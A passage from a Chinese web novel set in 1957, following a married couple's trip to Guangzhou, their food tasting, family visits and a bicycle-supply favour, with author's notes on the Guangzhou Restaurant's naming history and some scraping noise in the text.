我仔细查了一下相关资料,人民日报1956年10月18日有一篇《一个普通公民的警惕》,提到了特务侦查“广州酒家”和太平戏院等地点放置炸弹,这是我能查到的官方提到“广州酒家”最早最明确的报道。 1940年以前叫西南酒家,1940年以后改名叫广州大酒家,50年代转国营后,一直叫广州酒家,这个名字沿用到六十年代末。 文阁期间,广州酒家改名为“广州饭店”。 1973年又再次更名为广州酒家。 咱们文里的时间线刚走到1957年,所以这会儿还是“广州酒家”时期~ 任何常识性或专业性错误,都欢迎大家批评指正哈! 一百个红包,明天见~ 鹿子草向你推荐他的其他作品 第 80 章 小夫妻广州行(二... 第80章小夫妻广州行(二 乘车前往广州酒家的路上,叶满枝一直不肯搭理吴峥嵘。 不但站位距离他八丈远,还把脑袋偏向窗外,好似与他是两个互不认识的陌生人。 吴峥嵘当时并没试图与她讲道理,等到两人一前一后走下公共汽车,他才出声为自己辩解“我不是按照你的要求把书扔了吗?你还气什么?” 叶满枝停下脚步,表情还算和煦地问了一个风马牛不相及的问题,“意识形态工作的具体要求是什么?” “……”吴峥嵘眉心轻蹙,“这跟咱们正在说的有什么关系?” “我觉得有关系,”叶满枝催促道,“你赶紧回答!” “坚定宣传党的理论和方针政策,坚决同党中央保持高度一致,坚定宣传中央……” 吴峥嵘不知她葫芦里卖的什么药,但还是按照要求回答了她的问题。 听他一字不落地将答案背了出来,叶满枝当即便翻了脸。 “你看你!连半年前的考题答案都背得出来,你扔了那本《日日夜夜》还有什么用!” 刚才那个问题,是基层干部进修班的考题之一。 为了能在结业考试上取得好成绩,叶满枝当时下了很大功夫死记硬背理论知识,还经常让吴峥嵘在晚上散步的时候抽查她。 她那些题目的答案,对方几乎都能背下来。 距离进修班结业已有五个月,她早把这道题的答案忘得差不多了,而吴峥嵘居然还能一字不差地背出来! 他扔那本《日日夜夜》还有什么用啊? 在扔进果皮箱之前,那本书被他从头到尾翻阅了一遍。 他连五个月前的理论题答案都背得出来,这种不正经的东西怎么可能轻易忘掉? 望着一脸无辜的男人,叶满枝气恼道“你就是不要脸!” 哪有在大马路上看那种书的? 她当时紧张得胸口都透不过气了,生怕被人发现他在看不正经的东西。 那可真是丢人丢到姥姥家了! 吴峥嵘脸不红气不喘地解释“你不是心疼那一块钱么,我把书从头到尾看一遍,你也就不用心疼了。” 叶满枝“……” 她是心疼一块钱吗? 她那是担心呀! “看个书而已,有什么大不了的。”吴峥嵘神色自若道,“放心吧,咱们难得出来旅行,我也不想把时间和精力浪费在床上。” 假期短暂,他还想带叶来芽多走几个地方。 “你真是这么想的?”叶满枝问。 “嗯,你哪个周末不是睡到中午才起床?要是这次的假期全被睡过去了,以后回忆起来很可能会后悔。” 所以,尽管理论知识增加了,但吴峥嵘并不准备立即实践,事情总要分个轻重缓急。 小叶同志对这次旅行有多期待,他是知道的。 叶满枝的目光在他脸上盘桓几秒,确定他说的是真心话,脸上的神色总算 有了缓和。 她舍得把书扔了?.)]?▲??????()?(), 却不舍得把人也扔了。 “那这次就算啦()?(), ”叶满枝哼道()?(), “因为你不要脸()?(), 我刚才看到一种没见过的水果,都没好意思上前问问。” “那咱们返回去找一找。” 警报解除,吴峥嵘跟她返回车站附近的供销社,买了她没见过的芒果和菠萝。 夫妻俩终于又和好如初了。 * “名菜美点展览会”预计持续一个月,两人来到广州酒家时,活动已经举办十多天了,但是从饭店所在的街口,一直到饭店内部的两层楼,全都挤满了人。 叶满枝感觉这展览会里的人比火车站还多,伸手抓住了吴峥嵘后腰的腰带。 “……”吴峥嵘把她挪到自己身前,“你还是走我前面吧。” 叶满枝攥着钱和粮票肉票,眼睛不够用似的在各个展位上来回打量。 每个展位前都贴着单位名称,北园酒家、金陵酒家、亨栈酒家……全是外地人没听过的饭店名字。 叶满枝不知道哪个酒家好吃,但现场这些菜对她来说,都是好吃的。 各单位的展台前,摆着招牌菜的样品,每个展位都有至少 十几道菜,大师傅会现场烹饪,现场销售给食客们品尝。 能吃到哪道菜全凭运气。 为了节省时间,夫妻俩分别去不同摊位排队,半小时后在通往二楼的楼梯口集合。 叶满枝心里还惦记着孙工媳妇所说的文昌鸡和江南香酥鸽,无论如何,今天要尝尝这两道菜。 她手里的粮票肉票有限,所以,最先去广州酒家的展位前排队。 酒家派了专人为市民介绍菜品特色,但叶满枝听不懂白话,便全心全意盯着美食咽口水。 轮到她的时候,就把钱和肉票递了过去。 然而工作人员却把肉票给她退了回来。 叶满枝疑惑道“不要肉票吗?” 对方用带点方言口音的普通话答复“我们这里的国营饭店不收票。” “粮票肉票都不要吗?”叶满枝欣喜地问。 “不要,不过听说年底也要开始收票了。” 叶满枝喜出望外。 这是他俩来广州吃的第一餐,没想到广州这边的物资供应这么充足! 在饭店吃饭竟然不要票! 各省的供应情况不同,制定的票证政策也不尽相同。 滨江那边,去年在饭店吃饭也是不要票的,但今年就全都统一收取粮票肉票了。 出发前,吴峥嵘特意兑换了一些全国粮票。 这年头,全国粮票俗称满天飞,属于所有粮票里最贵的,‘吃遍省’的省票次之,“本地吃”的市票最便宜。 为了搞这些“满天飞”,他俩多搭进去好几张“本地吃”呢! 既然在国营饭店不要票,那她就不用算计着粮票过日子啦! 除了文昌鸡和江南香酥鸽,她又大手笔地买了骨香鸭片、油泡鲈鱼球、玉液叉烧包…… 与吴峥嵘汇合 的时候,两人总共点了将近三十道粤菜和小吃,哪怕展览会的试吃分量很小很小,每种吃一口,也把叶满枝撑得肚皮滚圆了。 何况她足足吃了三个玉液叉烧包呢! “咱们把招待所换到这边吧,找个距离大姐家和广州酒家都很近的招待所。?()??%?%??()?()” 叶满枝抚着肚子畅想,“然后这几天都是他们那个陈师傅的绝活,只有广州酒家能吃到!()?()” “嗯,住过这一晚,明早就换。()?()” 接过叶满枝刚买来的金钱虾盒,吴峥嵘问,“你不吃了?()?()” 叶满枝摇头,支着下巴鼓励道“你多吃点吧,我看着你吃就满足啦!” 她实在吃不下了,只能安慰自己,吴峥嵘吃过,就相当于她吃过了。 在小叶主任的糖衣炮弹下,吴峥嵘将桌上的残羹剩饭全都打扫了。 从展览会离开,又在景点溜达了半下午,去大姐家拜访时,夫妻俩还是七八分饱的状态。 两人提着礼物进门的时候,只有大姐夫和外甥在家迎接。 吴峥嵘笑道“我姐不去车站接我就算了,我都带着媳妇上门了,她怎么还不见人影?” 大姐夫哈哈笑“你姐在单位忙着进货呢,这半个月都是八点以后才下班的,不过她今早说了,这两天会尽量早点回来。” 郎舅俩熟稔地开了几句玩笑,吴峥嵘正要向他介绍叶满枝时,大姐抱着一个大西瓜进门了。 见到穿着军装的弟弟,大姐立即将西瓜塞给儿子,而后飞奔过来,热情地在吴峥嵘的肩上拍了拍。 “你小子是不是又长壮了?我上次在北京见你的时候,你肩膀还没这么宽呢!啧啧啧……” “基层单位每天都有训练任务,比机关的训练量大。”吴峥嵘与姐姐轻轻拥抱了一下,笑着介绍,“姐,这是你弟妹,叶满枝。” 叶满枝的手已经伸出“小叶,你穿这件衣裳真靓,我眼光不错吧?” 她没能参加弟弟的婚礼,但是提前邮寄了不少贺礼。 其中就有一块孔雀蓝的丝绸料子。 她刚进门的时候就发现了,弟妹身上这件短袖旗袍,就是用她送的料子做的。 叶满枝笑着比个大拇指“这料子的质感和颜色都是特一级的,我在滨江那边的商店都没见到这种品质的丝绸。” “那当然了,这批货到了我们商店以后,还没来得及放进柜台,就被抢购一空了。我只抢到两块,咱俩一人一块!不过,还是你们年 轻人穿旗袍好看,我现在胖得不像样子,用那么好的料子都浪费了!” 叶满枝瞅瞅面前的姐弟二人,再看看旁边的小胖墩外甥。 憋笑憋得小腹发酸。 她在省大老宅那边见过吴家的全家福,但人脸太小,她没发现亮点。 如今见到了大姐本人,她才发现,吴峥嵘和他大姐居然用的是同一张脸! 要说他俩是龙 凤胎()?(), 叶满枝也相信。 实在太像了。 吴峥嵘这张脸()?(), 放在男人身上是美人。 放在女人身上也不遑多让。 吴岱岚身材丰腴u()u[(.)]?u@?@?u()?(), 连手背上都有肉窝窝()?(), 是这年头难得一见的胖美人。 叶满枝爱屋及乌,对大姑姐的第一印象非常好,感觉她就是肉乎乎、话很多、亲切热情的女版吴峥嵘。 她跟大姐两口子打了招呼,又给外甥良宇塞了一个红包,见他顶着一张跟吴家姐弟有九分相似的脸,萌萌地说“谢谢小舅妈”,叶满枝终于没忍住笑了出来。 良宇的外貌性格跟亲妈是复制粘贴的,待人特别热情。 大姐夫去筒子楼的公共厨房做饭时,良宇就小大人似的,把自己的玩具手枪拿出来,给小舅妈玩。 等叶满枝盛情难却,接过来比量几下后,良宇凑过来商量“小舅妈,你把照相机借我玩会儿呗!” 吴岱岚在另一边警告“阿宇!” “没事,照相机是咱爷的,”吴峥嵘将相机递给外甥,告诉他哪里是快门,哪里是闪光灯。 见大姐还在瞪孩子,他笑着问“听姐夫说,你们单位最近挺忙的,你为了进货的事,一直在加班?” “哎,七一刚过完,又要迎来八一了,八一之后很快又是十一。每逢这样的节日,百货商店都要加大供应,我们又是整个华南地区最大的百货商店,上面不允许出现断货的情况。其他东西还好说,从别的地区调货总能调来,但手表、自行车、缝纫机这样的大件,能生产的只有那几家,订单都排到明年了……” 吴岱岚是百货商店的供销科长,百货商店的工资高,福利待遇好,否则她也不能吃得这么胖乎。 但工作压力也确实很大。 商业系统的供销工作,看的就是人脉关系。 谁的人脉广,谁就能比别人更早拿到货。 每逢节假日,都是对各大商店供销科长的一次大考。 哎…… 叶满枝吃着姐夫刚切的西瓜,透露道“大姐,广州不是在开全国物资交流大会嘛,我们来的路上,还跟我们省里的代表团在一个车厢里呢。你去展会上跟他们交流交流呗,兴许能弄到货源呢!” 吴岱岚摆摆手说“那个就别想了,那都是省级层面的置换。全国一盘棋,有轻工业部和商业部在其中指挥。东西换不准了。我要是好不容易弄来一批自行车,最后被省里分给了其他单位,那我岂不怄死了!” 叶满枝问“大姐,你没去问问北方的自行车厂吗?天津和沈阳都开了大型自行车厂。” “呵呵,”吴岱岚从包里拿出一个大相册,介绍道,“全国所有大型工厂的联系方式,我都有。甭管南方北方的自行车厂,我全都联系过了,就是没货。” 他们商店今年的自行车和缝纫机定额早就用完了,要是再弄不来新货源,提货区就只能开天窗了。 叶满枝接过她的大相册,对里面五花八门的 工厂名称,简直叹为观止。 她大姑姐好厉害哦,这人脉真是杠杠的! 可惜,这么强的人脉,还是采购不到自行车和缝纫机。 看来无论南方北方,这两样都是紧俏商品。 女同志说话的时候,吴峥嵘一直在教外甥使用照相机。 良宇对这个大方的小舅简直太喜欢了! 几个舅舅里,小舅绝对是最大方的!连这么宝贵的照相机都肯给他玩。 他是个情绪外露的小孩,等吴峥嵘两口子吃过晚饭,喝过靓汤,要赶末班车回招待所的时候,他就一手抱着相机,一手抱着小舅的腰,不想让小舅离开。 吴峥嵘在他脑袋上摸了摸,将招待所地址告诉大姐夫。 “良宇不是放暑假了么,你们明早上班的时候 就把他送到我那里去,我带他玩两天。()?()” 吴岱岚问“你们准备什么时候上岛?这个季节经常刮台风,你俩要做好计划安排。()?()” “可能后天吧。?.)]???+?+??()?()” “那行,我明早把良宇送过去,这小子经常跟着他爷爷蹭吃蹭喝,对市里那些好吃的好玩的,比我还熟悉,让他带着你们转转。()?()” * 吴峥嵘将照相机留给外甥玩,自己则带着媳妇回了招待所。 叶满枝洗过澡以后,一边趴在床上晃腿,一边忧愁道“你说我要不要帮大姐联系一下自行车货源啊?” “你有货源?” “有啊,上半年我不是在做合作社转厂工作嘛,咱们光明街上有个第3五金社,之前一直生产锁具,转厂以后,开始试生产自行车了。生产任务都是前一年年底制定的,他们半路转厂的,暂时还没有生产任务,其实接点外省的订单也没什么。” “自行车这么紧俏,本市的商店都供应不足,市里能让自行车流通到外面去?”吴峥嵘在她乱晃的小腿上捏了一下,“把衣服裤子穿好……” “天气这么热,我才不穿呢!” 吴峥嵘“……” 他虽然承诺过,让她有充沛的精力完成接下来的旅行。 但是从她月经那天开始算起,加上路上的时间,他俩已经有十天没有夫妻生活了。 叶来芽只穿个苏式奶罩在他面前晃悠,这是有恃无恐,完全不顾及他的感受了。 叶满枝翻身躺在床上,自顾自道“我就是怕省里不让,才没敢跟大姐说的,省得给人希望,又让人家失望。不过,这对新办的自行车厂,其实是一次很好的机会,南方大厦是华南最大的百货商店,要是能把自行车放到他们那里销售,兴许能趁机打出名气……” 说着说着,她语气渐渐慌乱起过的话,全忘啦?” 混蛋没吭声,把碍事的布料扯下来扔到了旁边。 叶满枝气恼地在他肩上踢了一脚,想出声,又怕被左右邻居听到,门外踢踢踏踏的拖鞋声清晰可闻,她只好紧紧咬住嘴唇,不敢泄出一丝异样。 …… 不知过了多久,吴峥嵘抹去鼻尖 和额头蹭到的水珠 凑上来与她接吻。 叶满枝回过神以后()?(), 喘着气躲闪()?(), 实在躲不过就搂着他的脖子嘟哝“你这个混蛋!果然跟着那种书不学好!” 吴峥嵘轻笑“书上说()?(), 这样能放松精神,早睡早起身体好。” “你少讲歪理了!”叶满枝用嘴堵住他的,阻止他继续胡言乱语。 不知他最后是怎么解决的,反正叶满枝自己舒坦以后就直接睡了。 出门在外的这些日子,头一次睡到八点钟自然醒。 等她洗漱完毕时,常年六点起床的吴峥嵘同志,已经带着外甥吃过早饭了。 脸上是淡然的正人君子模样。 叶满枝今天心情不错,看到胖墩墩的良宇,也觉得小胖子特别可爱。 不知是出于投桃报李,还是补偿心理,她主动提出上午一起去物资交流大会逛逛。 吴峥嵘劝道“大姐的工作,让她自己解决,咱们就别操心了。” “我就是去帮忙打听一下,万一办成了,那显得我小叶主任多厉害啊!大姑姐不得对我刮目相看呀!”叶满枝在胖墩墩头上摸了摸,“对吧,阿宇?” 良宇一心鼓捣照相机,随意点点头就问“小舅,小舅妈,咱们什么时候能拍相片啊?我妈说让我带你们去游览珠江呢!” “走了,这就出发。” 两大一小,先去物资交流大会所在的展览馆,找到了滨江的展区。 在代表团的众多领导中,叶满枝只能跟郭处长说得上话,于是就直接找到了正在整理资料的郭处长,将南方大厦想要采购自行车的事情跟她提了提。 “他们能用什么东西交换?”郭处长问,“咱们市里虽然有自行车厂,但产量不高,还要供货给本省的单位。你说的那个合作社,如果没有生产任务的话,原则上可以将产品销售给任何单位,但咱既然是物资交流大会,肯定要交流的,能把自行车交流出去,也要把 其他东西交流回来。” “这是百货商店的采购,能交流什么我也不清楚,郭处长,咱们省里现在还需要什么?” “常州篦子、福州牛角梳、四川的黄蜡,当然,最紧缺的还是山苍籽油,湖南江西贵州都缺货,这些东西,无论什么,都可以交换自行车。” 叶满枝将省里紧缺的几项物资一一记到纸上,又与郭处长寒暄了几句,便带着一家子告辞离开了。 她将纸条塞进良宇的上衣口袋里,“晚上回去问问你妈妈,这些东西她有没有渠道,要是能弄来这些,自行车的货源也就有了。” 良宇不想管什么自行车,只一径焦急地问“小舅妈,到底什么时候能去照相啊?” 他刚跟小舅学了摄影技术,只想快点实践一下。 小舅昨天只给了他照相机,没给他胶卷,他已经期待一晚上啦! 叶满枝没想到这孩子还是个急性子,先让他在马路上为自己拍了一张,算是暂时将人安抚住了。 而后便马不停蹄地前往珠江,搭乘摆渡船,欣赏沿岸风景。 良宇再次嚷嚷着拍照的时候()?(), 叶满枝选了一个以疍家人渔船为背景的角度()?(), 吴峥嵘帮小朋友调好高度后卐()卐?卐♂?♂?卐()?(), 走到她身边站好。 两人终于拍了旅行中的第一张合影。 见状()?(), 叶满枝忍不住问“你那么用心教良宇学摄影,不会就是为了这一刻吧?” 他俩之前都是相互为对方拍照的,基本没有让路人帮忙合影的机会。 大家怕把照相机弄坏了,通常会摆手拒绝。 “嗯,这小子挺聪明的,还喜欢摆弄照相机,你觉得我把他直接带到岛上去过暑假怎么样?” 摄影师既然已经培养出来了,总不能用一次就算了。 作者有话要说 有广东的小伙伴在评论区提到了广州酒家的问题。 我仔细查了一下相关资料,人民日报1956年10月18日有一篇《一个普通公民的警惕》,提到了特务侦查“广州酒家”和太平戏院等地点放置炸弹,这是我能查到的官方提到“广州酒家”最早最明确的报道。 1940年以前叫西南酒家,1940年以后改名叫广州大酒家,50年代转国营后,一直叫广州酒家,这个名字沿用到六十年代末。 文阁期间,广州酒家改名为“广州饭店”。 1973年又再次更名为广州酒家。 咱们文里的时间线刚走到1957年,所以这会儿还是“广州酒家”时期~ 任何常识性或专业性错误,都欢迎大家批评指正哈! 第 81 章 小夫妻上岛了 第81章小夫妻上岛了 叶满枝很快就惊喜地发现,胖墩墩不但能当摄影师,还能兼职翻译和向导。 别看人家年纪不大,但人家能讲一口流利的广东话。 在良宇的带领下,叶满枝和吴峥嵘走街串巷,把胖墩本人亲自认证的美食一一尝过。 最重要的是,叶满枝因此买到了一百斤干河粉! 这次出远门,她把家里的全部现金都带在了身上,还额外跟五哥借了一百块周转。 除了想满足口腹之欲,还想利用“给家人朋友送礼”的借口,多储备一些物资。 按照她的计划,到了南方要多买些海鲜干货,便宜、易保存,还是荤菜。 可是发现广州的国营饭店不要票以后,她又动了别的心思。 当初滨江的国营饭店不要票时,相应的粮食制品,比如挂面、鲜切面也不要票。 她让良宇小朋友帮忙询问供销社售货员,听说柜台边摆放的那些干河粉也不要票以后,果断买了一百斤。 良宇还体贴地帮她跟售货员解释,小舅和小舅妈是外地来的,想带河粉回家给亲戚们尝尝。 “小叶主任,”吴峥嵘被媳妇的大手笔震惊了,“你买这么多河粉干什么?河粉是大米做的,爸妈他们未必吃得惯,买十来斤给大家尝尝鲜就够了。” 北方习惯吃面食,供销社从没卖过河粉。 “我觉得好吃的东西,我爸妈肯定也觉得好吃。刚才吃的炒河粉和汤河粉都不错呀,反正都是粮食做的,有什么吃不惯的。”叶满枝拍拍他的肩膀,“就是要辛苦军代表同志,到时候还得指望你把这一袋子河粉带回滨江去。” 吴峥嵘劝不动媳妇,也不打算扛着河粉回滨江。 从供销社出来以后,他直接走进对面的邮局,办理了邮寄。 “还是你有办法!” 叶满枝一边表扬军代表同志,一边在单子上填了自家地址。 邮寄的速度极慢,等他俩结束旅行返回滨江时,这个包裹可能还在路上呢。 不过叶满枝并不嫌它又贵又慢,将一百斤河粉寄出以后,经过另一家供销社的时候,她再次买了一百斤干河粉。 吴峥嵘“……” 河粉好吃到这种程度吗? 他媳妇只是吃了一盘炒河粉,就要采购两百斤干河粉回家…… 叶满枝只当没见到他的古怪眼神,硬着头皮再次去邮局办理了邮寄。 这回她多长了一个心眼,以防这么多粮食被人中途截留,她将一百斤的河粉分成三个包裹,地址分别填了16号院、老叶家和五哥家。 让人一看就觉得是给亲戚邮寄的。 当她经过第三个供销社,还想故技重施的时候,吴峥嵘终于看不下去了,劝阻道“总吃河粉你不嫌腻吗?” “不腻啊,米饭馒头也是天天吃的,怎么会腻?” 叶满枝腹诽,这可是正经粮食,能填饱肚子就是对它唯一的要求。 她其实也不想这样大费周章,采购几百斤河粉回滨江,加上路上的运费和损耗,并不比在滨江本地买挂面便宜。 可是,这是她目前能找到的,唯一大宗采购粮食的机会! 她之前储备的那些粮食,只能暂时放在地窖里,但这些干河粉在吴峥嵘面前过了明路,就可以大大方方放在家里保存了。 吴峥嵘不知她在想什么,沉吟一阵后,建议道“两百斤河粉够吃很长时间了,要不你买点排粉吧。” 好歹能换换花样。 “……”以为还要浪费一番唇舌的叶满枝惊喜地问,“你怎么不阻止我啦?” “你喜欢吃就买吧。再说,在家多存一些粮食有备无患。” 对于粮食的问题,吴峥嵘有自己的考量。 粮食统购统销限量供应,也就是这两年的事。 之前只在几个省市试点推行,现在却是全国所有城镇都开始使用粮票了,而且对体力劳动者和脑力劳动者的定额做了很详细的区分。 足可见粮食供应紧张是全国性的问题。 他俩的粮票大多用在了单位食堂,家里几乎没什么存粮。 叶来芽买这些河粉,虽然运输麻烦,但不要票的粮食制品还是有采购价值的。 叶满枝按照他的建议,买了一百斤排粉寄回滨江。 再一次走出邮局时,不禁在心里感叹,跟聪明人讲话太省 心了,她这边还没想出说辞呢,人家已经自动帮她找好理由了! 叶满枝心情激动,伸手将胖墩墩的脑袋扭向另一边,而后在邮局旁的巷子里,偷偷啵了军代表同志一口。 吴峥嵘“……” 买点河粉就这么高兴? 竟然敢在光天化日之下主动亲他了! 良宇捧着汽水瓶子问“小舅妈,你拧我脑袋干嘛?” “哦,那边有个糖水店,你要不要吃芝麻糊?” * 顺利买到三百斤的河粉和排粉,让叶满枝心里愈加放松了,跟着小外甥到处转悠了一下午,吃过晚饭才将人交到大姐夫手里。 忙碌了一天的叶满枝又累又困,只想回招待所睡觉,然而她这边刚从公共浴室出来,大姐就找上了门。 “小叶,你们滨江那边真有自行车的货源?” 吴岱岚下班回家,见到儿子带回的那个字条,便马不停蹄赶了过来。 “有啊,不过只是一个中等规模的工厂,今年刚开始试制自行车,暂时没什么名气。” 叶满枝一边擦头发,一边向她介绍了第3五金社的情况。 “而且省里对自行车的供应管得挺严,不拿其他物资跟我们交流的话,恐怕行不通。大姐,那条子你看了吧?能找到相关货源么?” “常州篦子和福州牛角梳的产量低名气大,一直是紧俏货,我们百货商店也很难采购,不过,山苍子油倒是能想想办法。” 山苍子油是制作香皂和化妆品香精的原料。 现在每个省市几乎都有日化厂,山苍子油也是紧俏物资,一般人还真不好找到货源。 但吴岱岚是当百货商店供销科长的,采购自行车、手表、缝纫机的时候,她得求着各大工厂。 轮到采购普通日用品,尤其是计划外日用品时,就是别人来求她了。 吴岱岚没有山苍子油的货源,可是各大日化厂肯定是有储备的。 她找个本地日化厂匀一些山苍子油转卖给滨江,这事未必不能成。 反正她只要两三百台自行车,既然是双方交流物资,那山苍子油也不用给太多。 吴岱岚将自己这边的情况介绍了一下,又说“小叶,你把滨江那边的负责人介绍给我,我自己去跟他们联系。你们好不容易来广东一趟,还是珍惜时间到处走走看看,我的事你就别费心了。” 她这小弟妹真是热心肠,第一次见面就愿意帮她解决麻烦,甭管事情成不成,等弟弟两口子返回滨江的时候,她得准备点东西给小两口带回去。 叶满枝如实道“我找的是滨江商业局的物资处长,不过我们是在火车上认识的,之前没啥交情。大姐你跟她谈的时候,可能得下些功夫。” 反正她这种小干部,在领导那里是没什么面子的,这一点得跟大姑姐解释清楚。 …… 叶满枝和吴峥嵘在广州吃吃喝喝玩了四天,等到老吴打长途电话给女儿,委婉询问小儿子的情况时,他俩才不紧不慢地收拾行李,带着专用摄影师一起登船上岛了。 小两口过二人世界,还愿意帮她带孩子,吴岱岚真是不知说什么才好。 这个弟媳妇真是没得挑,她得打电话跟亲妈念叨念叨。 是的,她觉得小两口愿意带上良宇一起出行,一定是叶满枝的功劳。 她那个弟弟是什么脾气,她还是清楚的,正面瞧着挺和气,背面的尾巴却恨不得翘到天上去。 让他陪孩子待一会儿还行,若想让他长时间带孩子,那是万万不可能的。 吴峥嵘确实不耐烦陪孩子玩,但胖墩墩的良宇有自己的价值,他还挺愿意带上这个外甥的。 “小舅妈,你的头发吹乱了,你跟我小舅换一下位置,让他帮你挡风!” 叶满枝憋着笑,换到吴峥嵘另一侧,理了理头发问“这样行不?” “还行,小舅,你怎么不笑呀?” 胖崽摄影师比照相馆的老师傅上道多了,经常要求二人微笑、大笑、咧嘴笑。 尤其是听他妈说过胶卷特别贵,一张胶片差不多能买两个牛脷酥的时候,他拍每张相片之前都要提醒小舅笑一笑。 叶满枝已经迫不及待想要看看成片了,胖崽摄影师拍出的效果肯定很不错。 她遇到的几位摄影师里,只有小朋友良宇会要求他们挨近一些,多笑一笑。 胖崽真可爱! 叶满枝在甲板上掏出三块酥糖,塞给吴峥嵘和胖崽每人一块,“良宇,你经常去看姥姥姥爷吗?那边的环境怎么样?” “以前常去,后来我姥姥没工作了,我就不爱去了。环境还行呀,离海边不远,我喜欢下海游泳,但我姥爷总是不让。” 叶满枝愣了一下,问“你姥姥怎么没工作了?” 她记得她婆婆好像是小学校长来着,谁敢把她这个校长撸了啊? 良宇坐在长椅上,惬意地晃悠脚丫子,“反正就是没工作,不上班了呗。” 吴峥嵘替外甥翻译“他姥姥退休了。” “什么时候的事啊?” “好像是前几个月吧,我之前也不知道,还是昨天听姐夫说的。” 胖崽继续透露“我姥姥不上班以后,一点也不好,我干什么她都不允许!我妈说我姥姥现在是更年期了。” 叶满枝心想,以前人家天天上班,没工夫管家里这些孩子,如今退休有了精力,可不是要关心一下孩子们么。 这个消息让她小小紧张了一下。 按照他们原本的计划,大家白天都要上班,他俩可以在家或出门自由活动。 可是,她婆婆退休以后,肯定大部分时间要待在家里的。 那岂不是要每天跟她在家大眼瞪小眼? 如果婆婆是大姑姐那样的性格,她还挺乐意与对方相处的。 但是,通过仅有的一次见面笑的人。 确实比较符合她刻板印象中的小学校长形象。 叶满枝挨着吴峥嵘,悄声问“咱妈退休了,咱俩还能出去玩吗?” “她退休,跟咱俩出去玩有什么关系?” “咱们休的是探亲假,她要是上班也就算了,既然退休在家了,总要趁着这个机会好好相处一下吧?” 吴峥嵘望着汹涌的浪涛,语气很随意地说“咱们是小辈,这种事轮不到咱们操心。你到时候跟着我,见机行事即可。” 叶满枝暗道,对哦,吴峥嵘是亲儿子,她只是个儿媳妇,凡事跟着吴峥嵘就行了。 * 另一边的吴政委家里。 吴淮年也在与老伴谈论两个孩子。 “你穿这件就可以了,不要再换了!两个孩子结婚的时候,咱们没有出席,这次儿子第一次带着媳妇回,“老孙同志,请你提高效率,今天外面堵车,咱们要提前两小时出发。” “你还没出门,就知道外面堵车?” “小刘提前汇报过了,市里有游行队伍,车子不好开。” 孙汝珍惊讶地转身问“怎么又有游行?又有哪里出事了?” “英美侵略中东了。”吴淮年再次看手表,催促道,“你可快一点吧,今天不要迟到!” 孙汝珍侧身做到旁边的椅子上,与他商量“老吴,要不你代表我去吧?我就不去了。” “咱不是说好了吗?一起去接儿媳妇!” 空气安静了十多秒,吴淮年叹口气说“峥嵘虽然不是在咱们身边长大的,但毕竟是你亲生的。跟孩子见面的时候,咱们要有个当父母的样子,即使不亲热,也不能太疏离吧?” 老吴觉得自己跟儿子虽然见面不多,但常有书信和电话往来,父子关系还是比较亲热的。 但老孙同志在这方面的表现,远不如他。 儿子带媳妇回家,这么大的事,她居然临阵打退堂鼓了! “你不要总是对以前的事情心存芥蒂,咱家这种情况是时代造成的,那个年月有多少家庭分崩离析,咱们都能好好活着,已经很幸运了,只能说是造化弄人吧。” 当年大哥牺牲的消息传来后,他和老三很快便意识到世道艰险,为各自的身后事做了打算,还把年龄最小的峥嵘送回了老家,算是给老吴家留个香火。 结果亲儿子刚被他送回老家不到一年,大哥的两个儿子就被人送来了他身边。 大嫂在大哥牺牲后一病不起,拖了半年多,也撒手人寰了。 那个年月,他们三兄弟为了工作分散在各地,通讯极其不便。 若是早知大嫂带着孩子回娘家,会是这样的结果,他早该把这母子三人送回滨江去。 这会儿再想找机会送侄子回去,已经很不安全了。 当时日军全面侵占东北,路上兵荒马乱的,大哥只留下这两个儿子,万一在路上出了岔子,他以后怎么跟大哥大 嫂交代? 于是就只能暂时将侄子留在身边抚养,把小儿子放在了父母身边。 也许孩子们都受过委屈,但这么多年下来,老吴觉得自己问心无愧,对得起任何人。 跟四个儿女和两个侄子也都相处得不错。 唯一的遗憾就是老孙同志,不知她是怎么回事,面对小儿子的时候总是冷冷淡淡的。 “当年送孩子回老家是我的决定,你不用自责,孩子也从来没有怪过你,对咱们这对父母也算孝顺,你还有什么不满足的?”吴淮年再次催促,“快点换衣服吧,咱们一起去接儿媳妇!” 孙汝珍坐在椅子上没动地方。 送孩子回老家,确实是老吴的决定。 但他最初想送回去的,其实是大儿子峻岭,老吴想把已经懂事的长子送回老家。 可是,最大的一双儿女,陪她熬过了一段最艰难的日子,她对长子和长女的感情是最深的。 听说老吴想将儿子送走,孙汝珍的第一反应就是强烈反对,想尽办法想把大儿子留在身边。 老吴铁了心要送走一个孩子,于是她慌乱之下,便提议将两岁的小儿子送回去。 两岁多的孩子,正是让父母最费心的时候,吴峥嵘自打能说会走以后,就没有闲下来的时候,比他哥哥姐姐都淘气。 那么小的孩子,动不动就自己开门跑到胡同里去了。 孙汝珍当时的大部分精力都花在这个小儿子身上,这孩子旺盛的精力,时常闹得她精疲力尽。 所以,能把小儿子送回老家,交给祖父母抚养,对孙汝珍来说也算是另一种解脱。 她还记得那孩子被抱走的时候,一声也没哭,也不像往常那样妈妈妈妈喊个不停,只是安静趴在大人的肩上,用一双乌溜溜的眼睛望着她。 她当然舍不得孩子,只是无奈之下,在大儿子和小儿子中,选择了前者。 小儿子被送走了,她哭得泣不成声,午夜梦回时,总能想到幼童那双乌黑明亮的眼睛。 她那时还不觉得怎样,后,“峥嵘跟他大伯小时候一样聪明,两三岁时背过两遍的唐诗,到七八岁还能记着呢。” 孙汝珍说不清当时是什么心情。 她没有为儿子的聪颖而欣喜,她只是突然感觉手脚冰凉。 峥嵘很聪明,两三岁学过的唐诗,他能一直记着。 那她跟老吴建议的,让小儿子替换大儿子回老家的话,他是不是也一直记得? 峥嵘两岁前跟他们夫妻住在一起,大人觉得小孩子不懂事,谈话时从不避着他。 他对大人的谈话也许是有印象的。 这些年老吴找过不少机会,想帮她缝合与儿子的关系。 孙汝珍也尝试着跟儿子解释些什么。 可是每当她想要开口的时候,面前那双仿佛能洞察一切的眸子,总能与她梦里那双孩童的眼睛重合,将她所有的话都堵在喉咙里。 他们之间的隔阂从来不是养在她跟老吴身边的两个侄子。 而是她当年选择了吴峻岭,放弃了吴峥嵘。 这也许是他们母子之间心照不宣的秘密,解释太多,反而显得她很虚伪。 吴淮年不知老伴心里的芥蒂,帮她挑了件端庄的裙装后,又一次催促“快走吧,今天第一次见儿媳妇,咱们绝对不能迟到!儿子都那么大了,你跟他没话说也无所谓,这回不是有了儿媳妇嘛,只要能跟儿媳妇好好相处,跟儿子也就慢慢亲热起来了。” * 叶满枝本以为公公能派个车来接他们回家就不错了,毕竟今天是工作日,大家都要上班的。 